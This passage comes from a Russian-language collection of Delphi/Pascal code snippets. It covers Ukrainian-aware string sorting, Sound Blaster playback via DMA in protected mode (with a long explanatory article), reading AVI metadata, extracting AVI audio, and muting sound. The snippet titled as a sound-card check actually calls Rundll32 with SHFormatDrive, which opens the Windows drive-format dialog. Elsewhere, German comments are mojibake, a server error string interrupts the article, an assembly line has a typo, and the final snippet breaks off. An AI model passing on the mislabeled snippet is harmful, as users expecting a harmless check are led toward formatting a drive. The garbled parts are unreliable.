      lbNum[b_j] := lbNum[i];
      lbNum[i] := IntToStr(b_val);
      lbNames[b_j] := lbNames[i];
      lbNames[i] := b_val_name;
    end;
  end;
end;

Сортировка строк с украинскими символами.

Автор: Алексей Глеб WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сортировка строк с украинскими символами
Принцип работы функции такой же как и у стандартной функции
CompareText из SysUtils. Поскольку для украинских символов
строки сортируются этой функцией "как попало", то я решил
написать свой CompareUkrText.
Зависимости: System
Автор:       Алексей Глеб, noodlesf@mail.ru, Чернигов
Copyright:   Собственное написание (Алексей Глеб)
Дата:        1 февраля 2003 г.
***************************************************** }
unit UkrSort;
interface
function CompareUkrText(S1, S2: string): integer;
//массив, который заменит ASCI таблицу
var
  Chars: array[1..136] of char =
  ('1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'A', 'B', 'C', 'D', 'E',
    'F', 'G',
    'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
      'W', 'X',
    'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
      'n', 'o',
    'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'А', 'Б', 'В', 'Г',
      'Ґ', 'Д',
    'Е', 'Ё', 'Є', 'Ж', 'З', 'И', 'І', 'Ї', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П',
      'Р', 'С',
    'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я', 'а',
      'б', 'в',
    'г', 'ґ', 'д', 'е', 'ё', 'є', 'ж', 'з', 'и', 'і', 'ї', 'й', 'к', 'л', 'м',
      'н', 'о',
    'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э',
      'ю', 'я');
implementation
//сама функция
function CompareUkrText(S1, S2: string): integer;
  function GetNum(C: char): integer;
    //динам. функция получения номера символа из нашего массива
  var
    i: integer;
  begin
    Result := 0;
    for i := 1 to 136 do
      if Chars[i] = C then
      begin
        Result := i;
        exit;
      end;
  end;
  function CompCh(C1, C2: integer): integer;
    //динам. функция определения "что больше???"
  begin
    if C1 = C2 then
      Result := 0;
    if C1 > C2 then
      Result := 1;
    if C1 < C2 then
      Result := -1;
  end;
var
  i, xS1, xS2, CurrR: integer;
begin //начало функции сортировки
  Result := 0;
  CurrR := 0; //временный результат
  if S1 <> S2 then
  begin
    //сканирование сток посимвольно
    for i := 1 to Length(S1) do
    begin
      if Length(S2) >= i then
      begin
        xS1 := GetNum(S1[i]);
        xS2 := GetNum(S2[i]);
        if (xS1 <> 0) and (xS2 <> 0) and (xS1 <> xS2) then
          CurrR := CompCh(xS1, xS2)
        else
        begin
          if (xS1 = 0) or (xS2 = 0) then
          begin
            if xS2 = 0 then
              CurrR := 1;
            if xS1 = 0 then
              CurrR := -1;
          end;
        end;
        if CurrR <> 0 then
        begin
          Result := CurrR;
          Exit;
        end;
      end
      else
      begin
        Result := CurrR;
        Exit;
      end;
    end;
  end;
end;
end.

Пример использования:

function CustomSortProc(Item1, Item2: TListItem;
  ParamSort: integer): integer; stdcall;
begin
  Result := CompareUkrText(Item1.Caption, Item2.Caption);
end;
procedure TForm1.FormClick(Sender: TObject);
begin
  ListView1.CustomSort(@CustomSortProc, 0);
end;

Проверить, установлена ли звуковая карта.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShellExecute(Application.Handle,
                PChar('Open'),
                PChar('C:\Windows\Rundll32.exe'),
                PChar('Shell32.dll,SHFormatDrive'),
                PChar('C:\Windows'),
                SW_SHOWNORMAL);
 end;

Программирование Sound Blaster в защищенном режиме процессора.

Оформил: DeeCo

Немного истории Когда разработчики компании Intel создавали первый 16-разрядный процессор I8086, они, скорее всего, рассматривали его как переходную модель от 8- к 16-разрядным процессорам и не могли даже предположить, что он станет образцом, совместимость с которым будут вынуждены поддерживать как сама компания Intel в дальнейших разработках, так и большинство ее конкурентов. В отличие от своего 8-разрядного предшественника I8080, у которого была 16-разрядная шина адреса, новый процессор имел два режима адресации: 16-разрядный - для обеспечения совместимости с программами, написанными для I8080, и 32-разрядный. Однако последний был не линейным, а сегментированным, в результате чего полный физический адрес состоял только из 20 разрядов. Переход от 64-Кбайт к 1-Мбайт адресному пространству казался тогда огромным шагом вперед. Возможно даже, этот процессор несколько опередил свое время, по крайней мере вскоре Intel вынуждена была сделать маленький шаг назад и выпустить модификацию этого процессора, продолжающую оставаться 16-разрядной внутри, но имеющую 8-разрядную внешнюю шину. Новинка, получившая название I8088, была выбрана фирмой IBM, до того момента выпускавшей только большие ЭВМ, для ее первого ПК. Немаловажную роль в выборе именно этого процессора сыграло наличие 8-разрядной шины, позволявшей использовать в конструкции компьютера дешевые 8-разрядные устройства, разработанные для I8080. Применение контроллера прямого доступа к памяти (DMAC - Direct Memory Access Controller), относящегося к этой категории устройств, сразу ограничило максимальный размер передаваемого им единого блока информации 64 Кбайт. Кроме того, фирма IBM решила сэкономить на специальном дешифраторе адреса для DMAC и, отказавшись от применения сегментированной модели памяти для этого устройства, подключила его адресные выходы к младшим разрядам 20-разрядной адресной шины напрямую, а для задания старшей части адреса использовала 4-разрядный внешний порт, в результате чего оказалась невозможной пересылка данных через границу сегмента размером 64Кбайт. Компромиссные решения, принятые Intel и IBM, неожиданно стали промышленным стандартом, а со всеми недостатками когда-то выбранной архитектуры сегодня приходится бороться программистам. Использование DMA для записи и воспроизведения звука Первоначально при разработке DMAC предполагалось, что одним из основных его назначений будет более быстрая, чем у процессора, скорость пересылки данных из одной области памяти в другую. В случае с процессором I8080 так и было, но у семейства I8086/88 появились новые команды работы со строками, в результате чего такое использование DMAC оказалось нецелесообразным. С этого времени контроллер прямого доступа к памяти обычно применяется только для передачи данных между памятью и некоторыми периферийными устройствами. К стандартным устройствам такого типа можно отнести контроллер гибких дисков, а к нестандартным (не поддерживаемым на уровне BIOS) - звуковые платы, сканеры, стримеры etc. Причем если программы для сканеров и стримеров пишут в основном разработчики этих устройств, то программировать звуковые платы сегодня вынуждены многие программисты. Стандартом de facto среди звуковых плат для ПК стала наиболее распространенная - Sound Blaster фирмы Creative Labs. На ее примере мы и рассмотрим способы программирования звуковых плат. Считывать звуковые данные с платы или воспроизводить их можно и без применения DMAC, работая только с ее портами, но при этом процессор будет полностью загружен и не сможет выполнять другую работу. Кроме того, объем записываемых или воспроизводимых данных ограничен объемом доступной процессору оперативной памяти, поэтому такой способ не получил широкого распространения. Обычно компьютер одновременно с воспроизведением звука должен выполнять и другую работу, зачастую более ресурсоемкую. Тогда без DMAC не обойтись. В реальном режиме работы процессора для вывода звука через контроллер прямого доступа к памяти на звуковую плату необходимо выделить память для звуковых данных, запрограммировать эту плату и DMAC, а также переопределить прерывание. Процессор после этого может заниматься другой работой до наступления аппаратного прерывания, генерируемого звуковой платой по окончании звуковой последовательности. Затем процессор должен снабдить пару DMAC-звуковая плата очередной порцией данных. При этом программисту необходимо позаботиться о том, чтобы выделенный буфер, содержащий звуковую последовательность, не пересекал границу сегмента размером 64 Кбайт, а также требуется преобразовать 32-разрядный сегментированный адрес в 20-разрядный несегментированный. В защищенном режиме работы процессора последовательность действий в общем такая же, но из-за того, что процессор работает с дескрипторами вместо сегментов, в то время как DMAC продолжает работать с физической адресацией памяти, код программы должен несколько отличаться от кода программы, работающей в реальном режиме. При выделении памяти для буфера, содержащего звуковую последовательность, необходимо позаботиться, чтобы она располагалась в первом (нижнем) мегабайте. Это можно обеспечить либо с помощью специальных средств, предусмотренных разработчиками транслятора или библиотек, либо воспользовавшись прерыванием 31h. Кроме того, необходимо знать как реальный физический адрес выделяемого блока памяти, чтобы сообщить его DMAC, так и адрес, содержащий дескриптор, чтобы он мог быть использован процессором при записи в буфер звуковых данных. Формат WAV-файла В нашем журнале (Д. В. Солдатенков. Программируем Sound Blaster. "Мир ПК", #9/94) уже были опубликованы сведения об основах программирования Sound Blaster и формате VOC-файла (стандарт Creative), однако сегодня более распространен формат WAV (стандарт Microsoft Windows). Каждый из форматов допускает различные варианты представления заголовка. Упрощенная структура двух наиболее часто встречающихся вариантов для формата WAV приведена в таблице.
Структура WAV-файла.
Смещение от начала файла. Длина. Описание.
0h. 4h. Идентификатор формата ('RIFF').
4h. 4h. Длина блока данных (длина файла - 8h).
8h. 4h. Идентификатор блока звуковых данных ('WAVE').
0ch. 4h. Идентификатор подблока заголовка ('fmt" - с пробелом в конце).
10h. 4h. 000ch/0010h - длина подблока заголовка.
14h. 2h. 01h - тип формата представления данных.
16h. 2h. Число каналов (1 - моно, 2 - стерео).
18h. 2h/4h. Частота дискретизации, Гц.
1ah/1ch. 2h/4h. Скорость передачи данных, байт/с (произведение числа каналов, частоты дискретизации и разрядности в байтах).
1ch/20h. 2h. Числов байт для представления одного отсчета (1 - 8 бит моно, 1 - 16 бит стерео).
1eh/22h. 2h. Разрядность, бит (8, 16).
20h/24h. 4h. Идентификатор подблока данных ('data').
24h/28h. 4h. Длина звуковых данных.
28h/2ch. Звуковые данные.
[an error occurred while processing this directive] Пример программы Простейшая программа, демонстрирующая работу со звуковой платой в защищенном режиме процессора, приведена в листинге 1. В примере решено было ограничиться лишь воспроизведением 8-битного звука, что обусловлено двумя причинами. Первая из них заключается в том, что все необходимые регистры и команды DSP (Digital Signal Processor - цифровой сигнальный процессор) звуковой платы были описаны ранее в статье Д.В. Солдатенкова, и это позволяет сократить объем журнальной публикации. Вторая причина связана с тем, что подавляющее большинство выпускаемых сегодня звуковых плат являются 16-разрядными и совместимы с Sound Blaster лишь на уровне 8-битного звука, т.е. подавляющее большинство звуковых плат, выпускаемых не Creative Labs, не совместимы с Sound Blaster 16, и соответственно 16-битный звук в них реализуется по-другому. Следовательно, стандарта, даже de facto, для воспроизведения 16-битного звука не существует. Пример программы написан специально в демонстрационных целях, поэтому, с одной стороны, содержит явное ограничение на длину воспроизводимого участка файла, с другой - количество проверок в нем минимизировано. В начале программы описаны константы, характеризующие аппаратные ресурсы, используемые Sound Blaster. В реальной программе их следует брать из переменных окружения. Все это сделано для того, чтобы сократить размер листинга и сделать его более читаемым. Программа содержит обработчик прерываний, поступающих от звуковой платы, а также дополнительную процедуру завершения, которая введена для восстановления старого вектора прерывания при любом, в том числе и аварийном выходе из программы. Процедуры выделения и освобождения нижней памяти называются GetSBMem и FreeSBMem соответственно. Для облегчения переноса программы на другой компилятор или в другой язык программирования в листинге 2 приведены ассемблерные варианты этих процедур. Выход из программы предусмотрен по аппаратному прерыванию, генерируемому звуковой платой после окончания воспроизведения фрагмента. Если такое прерывание по каким-либо причинам не поступает, программа завершается по тайм-ауту, составляющему чуть менее 3 с, для чего предусмотрена функция, возвращающая текущее значение системной переменной таймера. Листинг 1. Воспроизведение звука из WAV-файла через звуковую плату Sound Blaster
program playwavp; {воспроизведение 8-битного звука}
{в защищенном режиме процессора}
{$D+,L+,I+,R+,S+,V+}
uses dos, winapi;
const
  BlasterPort: word = $220; {номер порта Sound Blaster}
  BlasterIRQ: word = 5; {номер прерывания Sound Blaster}
  BlasterDMAl: word = 1; {номер канала DMA Sound Blaster}
  maxlen = 35000; {длина звукового буфера}
  {   Seg0040 = $40;}
  SouBlas: Boolean = False; {было ли прерывание от SB }
function clock: longint; {функция определения времени}
begin
  clock := MemL[Seg0040: $6C];
end;
var
  ExitSave: Pointer; {адрес старой программы выхода в DOS}
  SBold: pointer; {адрес обработчика прерывания Sound Blaster'a}
  SBIRQ: byte; { номер прерывания Sound Blaster'a }
{$F+}
procedure SBint;
interrupt; { обработчик прерывания SB }
begin
  SouBlas := True;
  Port[$20] := $20;
end;
procedure MyExit; {дополнительная процедура при выходе в DOS}
begin
  ExitProc := ExitSave;
  SetIntVec(SBIRQ + 8, SBold);
end;
{$F-}
procedure IntInit(sbi: byte); {установка нового вектора} {прерывания и т.д.}
begin { sbi - номер аппаратного прерывания SB }
  if sbi < 8 then
    SBIRQ := sbi
  else
    SBIRQ := 2;
  GetIntVec(SBIRQ + 8, SBold);
  SetIntVec(SBIRQ + 8, @SBint); {переопределение} {прерывания SB}
  ExitSave := ExitProc; {переопределение} {процедуры выхода}
  ExitProc := @MyExit;
end;
procedure WriteCommand(Comm: byte); { процедура записи} {команды в регистр SB }
begin
  while (Port[BlasterPort + $0C] and $80) <> 0 do
    ;
  Port[BlasterPort + $0C] := Comm;
end;
procedure NotSupport; { вывод на экран сообщения }
begin
  writeln('Format not supported');
  halt;
end;
var
  longi: longint; {рабочая ячейка}
  arr1: pointer; {для выравнивающего массива}
  pusto: word; {длина выравнивающего массива}
  sndp: pointer; {для массива звуковых отсчетов}
  DMAPage: byte; {номер 64K сегмента для записи} {в регистр DMA)
  DMAOfs :word;     {смещение звуковой последовательности}{в нижней памяти}
procedure GetSBMem; {выделение буфера } {нижней памяти для SB/DMA}
begin
  longi := GlobalDosAlloc(16);
  arr1 := ptr(longi and $0FFFF, 0); {селектор нижней памяти}
  longi := $FFFF - (((longi shr 16) shl 4) and $FFFF) + 1;
  pusto := longi; {столько осталось до начала} {следующего 64k сегмента}
  GlobalDosFree(seg(arr1^));
  longi := GlobalDosAlloc(pusto);
  arr1 := ptr(longi and $0FFFF, 0); {селектор нижней} {памяти (выравн.масс.)}
  longi := GlobalDosAlloc(maxlen);
  sndp := ptr(longi and $0FFFF, 0); {селектор нижней} {памяти (для звука)}
  DMAPage := longi shr 28;
  DMAofs := 0;
end;
procedure FreeSBMem; {возвращение нижней памяти в систему}
begin
  GlobalDosFree(seg(sndp^));
  GlobalDosFree(seg(arr1^));
end;
const
  dmap: array[0..3] of byte = ($87, $83, $81, $82); {номера} {регистров DMA}
var
  i: word; {рабочая ячейка}
  t, friq: word; {временной параметр/частота дискретизации}
  lenfil: word; {длина считываемой части звуковых данных}
  snd: file; {звуковой файл}
  riff: array[0..15] of char; {массив для чтения} {неиспольз. частей заголовка}
begin {the main program}
  if paramcount <> 1 then
  begin
    writeln;
    writeln("Usage: playwave filename.wav");
    writeln;
    halt;
  end;
  IntInit(BlasterIRQ); { переустанавливаем прерывания }
  Assign(snd, paramstr(1));
  Reset(snd, 1);
  BlockRead(snd, riff, 16); { $00}
  BlockRead(snd, longi, 4); { $10 длина заголовка}
  BlockRead(snd, i, 2); { $14}
  BlockRead(snd, i, 2); { $16 число каналов}
  if i <> 1 then
    notsupport;
  BlockRead(snd, friq, 2); { $18 частота дискретизации}
  Seek(snd, longi + $12); { $1A пропускаем заголовок} {до предпосл.слова}
  BlockRead(snd, i, 2); {     разрядность}
  if i <> 8 then
    notsupport;
  GetSBMem; {запрашиваем нижнюю память для звука}
  BlockRead(snd, longi, 4); {  'data'}
  BlockRead(snd, longi, 4); { длина данных}
  if longi > maxlen then
    lenfil := maxlen
  else
    lenfil := longi;
  BlockRead(snd, sndp^, lenfil); {звуковые данные}
  close(snd);
  WriteCommand($D3); {включаем звук}
  t := 256 - 1000000 div friq;
  WriteCommand($40); {задаем частоту дискретизации}
  WriteCommand(t);
  Port[$21] := Port[$21] and not (1 shl BlasterIRQ); {разрешаем прерывание}
  Port[$A] := BlasterDMAl + 4; {маскируем DMA }
  Port[$C] := 0; {сбрасываем триггер}
  Port[$B] := BlasterDMAl + $48; {задаем режим передачи }
  Port[$2] := lo(DMAOfs); {задаем адрес буфера}
  Port[$2] := hi(DMAOfs);
  Port[dmap[BlasterDMAl]] := DMAPage; {задаем 64k страницу}
  Port[BlasterDMAl * 2 + 1] := lo(lenfil - 1); {длина звуковой}
    {последовательности}
  Port[BlasterDMAl * 2 + 1] := hi(lenfil - 1);
  Port[$A] := BlasterDMAl; {размаскируем DMA }
  WriteCommand($14); {начинаем воспроизведение звука}
  WriteCommand(lo(lenfil - 1));
  WriteCommand(hi(lenfil - 1));
  longi := clock; {на всякий случай ограничим по времени}
  while (SouBlas = false) and (longi + 50 > clock) do
    ;
  if not SouBlas then
    Port[$20] := $20; {сбрасываем DMA }
  i := Port[BlasterPort + $0E]; {сбрасываем Sound Blaster}
  WriteCommand($D1); {выключаем звук}
  Port[$21] := Port[$21] or (1 shl BlasterIRQ); {запрещаем прерывание}
  FreeSBMem; {возвращаем память в систему}
end.
Листинг 2. Процедуры выделения и освобождения нижней памяти для звукового буфера
var
  m1, m2, m3: word; { флаги процедур выделения памяти: }
    { 4 - успешно, 5 - ошибка, 2 - не выделялась }
procedure GetSBMem; {выделение буфера нижней памяти} {для SB/DMA}
var
  j: word;
begin
  j := (longint(maxlen) + 15) div 16; {длина блока} {в параграфах}
  m1 := 2;
  m2 := 2;
  m3 := 2;
  asm
      mov ax,$0100
      mov bx,j
      int $31      {запрашиваем память}
      rcl m1,1     {запоминаем CF}
      mov bx,$1000
      mov cx,ax
      and cx,$fff
      sub bx,bc      {вычисляем размер до конца сегмента}
      cmp j,bx
      jb @l1       {если достаточно места, уходим}
      push bx
      mov ax,$0101
      int $31      {возвращаем память}
      pop bx
      mov ax,$0100
      int $31      {забираем память до конца 64k-сегмента}
      rcl m2,1     {запоминаем CF}
      mov word ptr [arr1+2],dx  {сохраняем селектор}
      mov ax,$0100
      mov bx,j
      int $31    {запрашиваем память для звукового буфера}
      rcl m3,1   {запоминаем CF}
     mov bx,ax
      mov ax,0
      adc ax,ax
      mov m3,ax   {запоминаем CF}
 @l1:
      mov word ptr [sndp+2],dx    {сохраняем селектор}
      xor dx,dx
      mov word ptr [sndp],dx      {сохраняем смещение}
      mov ax,bx
      shl ax,4
      mov DMAOfs,ax
      shr bx,12
      mov DMAPage,bl
  end;
  if ((m1 and 1) or (m2 and 1) or (m3 and 1)) <> 0 then
    halt;
end;
procedure FreeSBMem; {возвращение нижней памяти в систему}
begin
  asm
      mov ax,$0101
      mov dx,word ptr[sndp+2]
      int $31
  end;
  if m2 = 4 then
    asm
      mov ax,$0101
      mov dx,word ptr[arr1+2]
      int $31
    end;
end;

Получение информации о звуковых файлах.

Статьи по Delphi (016)…

// First, put a memo, button and a open dialog on an empty form.
// Then use the following code to show the information of a avi file.
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure ReadAviInfo(FileName: string);
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ReadAviInfo(FileName: string);
var
  iFileHandle: Integer; // File handle
  // Needed for positioning in the avi file
  Aviheadersize: integer;
  Vheadersize: integer;
  Aviheaderstart: integer;
  Vheaderstart: integer;
  Aheaderstart: integer;
  Astrhsize: integer;
  // Temporary values
  TempTest: String[5];
  TempSize: Integer;
  TempVcodec: String[5];
  TempAcodec: integer;
  TempMicrosec: integer;
  TempLengthInFrames: integer;
  TempAchannels: integer;
  TempAsamplerate: integer;
  TempAbitrate: integer;
  // Final values
  Size: double;
  Length: string;
  Vcodec: string;
  Vbitrate: double;
  VWidth: integer;
  VHeight: integer;
  Fps: double;
  LengthInSec: double;
  Acodec: string;
  Abitrate: string;
begin
  // Open the file
  iFileHandle := FileOpen(FileName, fmOpenRead);
  // Test to see if file is AVI
  FileSeek(iFileHandle, 7, 0);
  FileRead(iFileHandle, TempTest, 5);
  if copy(TempTest, 0, 4) <> 'AVI ' then
  begin
    MessageDlg('Could not open ' + FileName +
      ' because it is not a valid video file', mtError, [mbOk], 0);
    Exit;
  end;
  // File size
  FileSeek(iFileHandle,4,0);
  FileRead(iFileHandle, TempSize, 4);
  // Avi header size (needed to locate the audio part)
  FileSeek(iFileHandle,28,0);
  FileRead(iFileHandle, Aviheadersize, 4);
  // Avi header start (needed to locate the video part)
  Aviheaderstart := 32;
  // Microseconds (1000000 / TempMicrosec = fps)
  FileSeek(iFileHandle,Aviheaderstart,0);
  FileRead(iFileHandle, TempMicrosec, 4);
  // Length of movie in frames
  FileSeek(iFileHandle,Aviheaderstart + 16,0);
  FileRead(iFileHandle, TempLengthInFrames, 4);
  // Width
  FileSeek(iFileHandle,Aviheaderstart + 32,0);
  FileRead(iFileHandle, VWidth, 4);
  // Height
  FileSeek(iFileHandle,Aviheaderstart + 36,0);
  FileRead(iFileHandle, VHeight, 4);
  FileSeek(iFileHandle,Aviheaderstart + Aviheadersize + 4,0);
  FileRead(iFileHandle, Vheadersize, 4);
  Vheaderstart := Aviheaderstart + Aviheadersize + 20;
  // Video codec
  FileSeek(iFileHandle,Vheaderstart + 3,0);
  FileRead(iFileHandle, TempVCodec, 5);
  Aheaderstart := Vheaderstart + Vheadersize + 8;
  FileSeek(iFileHandle,Aheaderstart - 4,0);
  FileRead(iFileHandle, Astrhsize, 5);
  // Audio codec
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 8,0);
  FileRead(iFileHandle, TempACodec, 2);
  // Audio channels (1 = mono, 2 = stereo)
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 10,0);
  FileRead(iFileHandle, TempAchannels, 2);
  // Audio samplerate
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 12,0);
  FileRead(iFileHandle, TempAsamplerate, 4);
  // Audio bitrate
  FileSeek(iFileHandle,Aheaderstart + Astrhsize + 16,0);
  FileRead(iFileHandle, TempAbitrate, 4);
  // Close the file
  FileClose(iFileHandle);
  // Analyse the video codec (more can be added)
  Vcodec := copy(TempVcodec, 0, 4);
  if Vcodec = 'div2' then Vcodec := 'MS MPEG4 v2'
  else if Vcodec = 'DIV2' then Vcodec := 'MS MPEG4 v2'
  else if Vcodec = 'div3' then Vcodec := 'DivX;-) MPEG4 v3'
  else if Vcodec = 'DIV3' then Vcodec := 'DivX;-) MPEG4 v3'
  else if Vcodec = 'div4' then Vcodec := 'DivX;-) MPEG4 v4'
  else if Vcodec = 'DIV4' then Vcodec := 'DivX;-) MPEG4 v4'
  else if Vcodec = 'div5' then Vcodec := 'DivX;-) MPEG4 v5'
  else if Vcodec = 'DIV5' then Vcodec := 'DivX;-) MPEG4 v5'
  else if Vcodec = 'divx' then Vcodec := 'DivX 4'
  else if Vcodec = 'mp43' then Vcodec := 'Microcrap MPEG4 v3';
  // Analyse the audio codec (more can be added)
  case TempAcodec of
    0: Acodec := 'PCM';
    1: Acodec := 'PCM';
    85: Acodec := 'MPEG Layer 3';
    353: Acodec := 'DivX;-) Audio';
    8192: Acodec := 'AC3-Digital';
  else
    Acodec := 'Unknown (' + IntToStr(TempAcodec) + ')';
  end;
  case (Trunc(TempAbitrate / 1024 * 8)) of
    246..260: Abitrate := '128 Kbit/s';
    216..228: Abitrate := '128 Kbit/s';
    187..196: Abitrate := '128 Kbit/s';
    156..164: Abitrate := '128 Kbit/s';
    124..132: Abitrate := '128 Kbit/s';
    108..116: Abitrate := '128 Kbit/s';
    92..100: Abitrate := '128 Kbit/s';
    60..68: Abitrate := '128 Kbit/s';
  else
    Abitrate := FormatFloat('# Kbit/s', TempAbitrate / 1024 * 8);
  end;
  // Some final calculations
  Size := TempSize / 1024 / 1024;
  Fps := 1000000 / TempMicrosec; // FPS
  LengthInSec := TempLengthInFrames / fps; // Length in seconds
  Length := FormatFloat('# min', Int(LengthInSec / 60)) +
    FormatFloat(' # sec', Round(LengthInSec - (Int(LengthInSec / 60) * 60)));
  Vbitrate := (TempSize / LengthInSec - TempABitrate) / 1024 * 8;
  // Output information to memo field
  Memo1.Lines.Add('AVI INFORMATION');
  Memo1.lines.Add('Size: ' + FormatFloat('#.## MB',Size));
  Memo1.Lines.Add('Length: ' + Length);
  Memo1.Lines.Add('');
  Memo1.Lines.Add('VIDEO INFORMATION');
  Memo1.Lines.Add('Codec: ' + Vcodec);
  Memo1.Lines.Add('Bitrate: ' + FormatFloat('# Kbit/s', Vbitrate));
  Memo1.lines.Add('Width: ' + IntToStr(VWidth) + ' px');
  Memo1.lines.Add('Height: ' + IntToStr(VHeight) + ' px');
  Memo1.Lines.Add('FPS: ' + FormatFloat('#.##', fps));
  Memo1.Lines.Add('');
  Memo1.Lines.Add('AUDIO INFORMATION');
  Memo1.Lines.Add('Codec: ' + Acodec);
  Memo1.Lines.Add('Bitrate: ' + Abitrate);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  OpenDialog1.Filter := 'AVI files (*.avi)|*.avi';
  if OpenDialog1.Execute then
  begin
    Memo1.Clear;
    ReadAviInfo(OpenDialog1.FileName);
  end;
end;
end.

Как экстрагировать аудиодорожку из AVI файла.

Автор: http://www.swissdelphicenter.ch

uses
  {...}, vfw;
var
  abort: Boolean;
{$R *.DFM}
  {Vielen Dank an Jailbird, der einen gгоЯеn Teil dieses Codes entwickelt hat
   Special thanks to Jailbird, who developed a big part of this Code}
  {Bitte zuerst die vfw.pas downloaden
   Please download th vfw.pas first }
  {Die 'SaveCallback' Funktion erlaubt es dem Benutzer den
   aktuellen Prozess Status zu erfahren und den Speichervorgang
   vorzeitig abzubrechen. Diese Funktion muss NICHT vom Benutzer
   aufgerufen werden.
   The 'SaveCallback' function allows the user to get the
   process status and abort the save progress. This function
   needn't to call by the user.}
function SaveCallback(nPercent: Int): Bool; pascal;
begin
  Application.ProcessMessages;
  Form1.Progressbar1.Position := nPercent; //Speicher Status in Prozent
  //Save Status in Percent
  if abort = True then
    Result := True
      //Wenn die Funktion "True" zигьскgiьt, wird der Speichervorgang fortgesetzt.
  else //If then function returns "True", the Process will continue
    Result := False; //Gibt sie "False" zигьск wird der Vorgang abgebrochen
end; //If it returns "False" the process will abort
{Die folgende Funktion erwartet zwei Parameter:  
 Inputfile: PChar  
  Geben Sie hier die die AVI Datei an aus welche Sie  
  die Audiospur extrahieren mцсhtеn.  
 Outputfile: PChar  
  Geben Sie einen Pfad + Dateinamen einer WAVE Datei an.  
  In diese Datei wird die AudioSpur gespeichert.  
  HINWEIS:  
  Geben Sie nur eine WAVE Datei als Ausgabedatei an wenn  
  die Audiodaten in der AVI Datei unkomprimiert (als PCM WAVE)  
  vorliegen.  
 ####################################################  
 The following function needs two parameters:  
 InputFile: PChar  
  Enter a Dir + Filename of a AVI File.  
 OutputFile: PChar  
  Enter a Dir + Filename of a WAVE File where do you want to  
  put the audiodata of the movie.  
  TIP:  
  Enter jus a Filename of a WAVE File if the audiodata of the  
  movie is in uncompressed PCM Format.  
 ###########################################################  
 WICHTIG:  
  Stellen Sie vor dem aufrufen der Funktion 'ExtractAVISound' sicher  
  das die Eingabedatei (Inputfile) ььег eine AudioSpur vегfьgt.  
 IMPORTANT:  
  Before calling the 'ExtractAVISound' function be sure that the  
  Inputfile has a audiotrace.  
 } 
function TForm1.ExtractAVISound(InputFile, Outputfile: PChar): Boolean;
var
  PFile: IAviFile;
  PAvi: IAviStream;
  plpOptions: PAviCompressOptions;
begin
  Abort := False;
  if Fileexists(StrPas(Outputfile)) then
  begin
    case MessageDlg('Ausgabedatei existiert bereits. Ььегsсhгеiьеn?',
      mtWarning, [mbYes, mbNo], 0) of
      mrYes:
        begin
          DeleteFile(StrPas(Outputfile));
          //Wichtig, da die Funktion sonst nur so viel der
        end; //Datei ььегsсhгеiьt wie gebraucht wird.
      //Important because the function overwrite just
      //the part of the file which is needed.
      mrNo:
        begin
          Exit;
        end;
    end;
  end;
  try //Initialisiert die API
    AviFileInit; //Init the API
    if AviFileOpen(PFile, Inputfile, 0, nil) <> 0 then //Цffnеt eine AVI Datei
    begin //Opens a AVI File
      MessageDlg('Fehler beim laden des Videos. Мцg1iсhегwеisе wird die 
        Datei von einem anderen Prozess verwendet.' + #13#10+
       'Sсh1iеЯеn Sie alle in Frage kommenden Anwendungen und versuchen Sie es erneut.',
        mtError, [mbOK], 0);
      Result := False;
      Exit;
    end;
    if AviFileGetStream(PFile, PAvi, StreamTypeAudio, 0) <> 0 then
    begin
      MessageDlg(
        'Fehler beim laden des AudioStreams. Bitte ььегргьfеn Sie, ob dieses Video 
        ььег einen AudioStream vегfьgt.', mtError, [mbOK], 0);
      AviFileExit;
      Result := False;
      Exit;
    end;
    //Speichert den AudioStream
    //Saves the AudioStream
    if AviSaveV(Outputfile, nil, @SaveCallback, 1, PAvi, plpOptions) <> 0 then
    begin
      MessageDlg('Fehler beim Speichern des AudioStreams oder Sie haben 
        den Speichervorgang abgebrochen.', mtError, [mbOK], 0);
      AviStreamRelease(PAvi);
      AviFileExit;
      Result := False;
      Exit;
    end;
  finally
    AviStreamRelease(PAvi);
    AviFileExit;
  end;
  Result := True; //'TRUE' zигьскgеьеn wenn alles geklappt hat
  //return 'TRUE' if all right
end;
//Beispiel zu aufrufen der Funktion:
//Example how to call the function:
procedure TForm1.Button1Click(Sender: TObject);
begin
  if ExtractAVISound(PChar('D:\test.avi'), PChar('D:\test.wav')) = True then
    ShowMessage('Audiospur erfolgreich gespeichert!');
  // Audio sucessfully saved
else
  ShowMessage('Fehler beim Speichern der Audiospur.'); // Error while saving...
end;

Как выключить звук.

Автор: http://www.swissdelphicenter.ch

uses
  MMSystem;
function GetMasterMute(
  Mixer: hMixerObj;
  var Control: TMixerControl): MMResult;
// Returns True on success
var
  Line: TMixerLine;
  Controls: TMixerLineControls;
begin
  ZeroMemory(@Line, SizeOf(Line));
  Line.cbStruct := SizeOf(Line);
  Line.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;
  Result := mixerGetLineInfo(Mixer, @Line,
    MIXER_GETLINEINFOF_COMPONENTTYPE);
  if Result = MMSYSERR_NOERROR then
  begin
    ZeroMemory(@Controls, SizeOf(Controls));
    Controls.cbStruct := SizeOf(Controls);
